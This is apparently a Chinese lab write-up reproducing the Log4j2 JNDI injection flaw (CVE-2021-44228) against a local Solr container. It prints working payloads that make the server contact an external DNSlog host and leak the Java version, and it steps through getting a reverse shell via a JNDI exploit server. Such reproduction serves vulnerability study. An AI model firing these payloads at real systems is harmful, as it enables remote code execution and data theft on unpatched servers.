Log4j-CVE-2021-44228漏洞复现
一、漏洞描述
Log4j2作为一个开源的Java日志记录插件,被众多项目引用,因此,当其漏洞出现时,影响的范围也极大,可以算是继Python的request库之后的又一重大供应链攻击了。
二、环境搭建
使用docker来搭建漏洞利用环境
sudo docker-compose up -d

查看一下映射的端口
sudo docker ps

访问本地端口 8983
访问到这个页面,说明环境已经搭建完毕
三、漏洞利用
在 Dnslog 平台获取一个 dns 域名

构造Payload为:
http://127.0.0.1/solr/admin/cores?_=1648718155484&indexInfo=false&wt=${jndi:ldap://test.zetcrf.dnslog.cn/}
直接访问
查看 Dnslog平台是否接受到数据
也可以外带出 Java 的版本信息,构造 Payload
http://127.0.0.1/solr/admin/cores?_=1648718155484&indexInfo=false&wt=${jndi:ldap://${sys:java.version}.zetcrf.dnslog.cn/}

可以看到外带出的 Java版本为 1.8
四、反弹shell
反弹shell需要用到的工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
需要的小伙伴自行搜索下载
启动 JNDI 服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd" -A "ip"

启动成功之后,我们按照目标网站的 jdk 版本来选择 构造 payload
http://127.0.0.1/solr/admin/cores?_=1648718155484&indexInfo=false&wt=${jndi:ldap://xxxx:1389/oe7hxd}
然后监听端口
访问刚刚构造好的 Payload
成功获取到 shell
版权声明:本文为MrHatSec原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。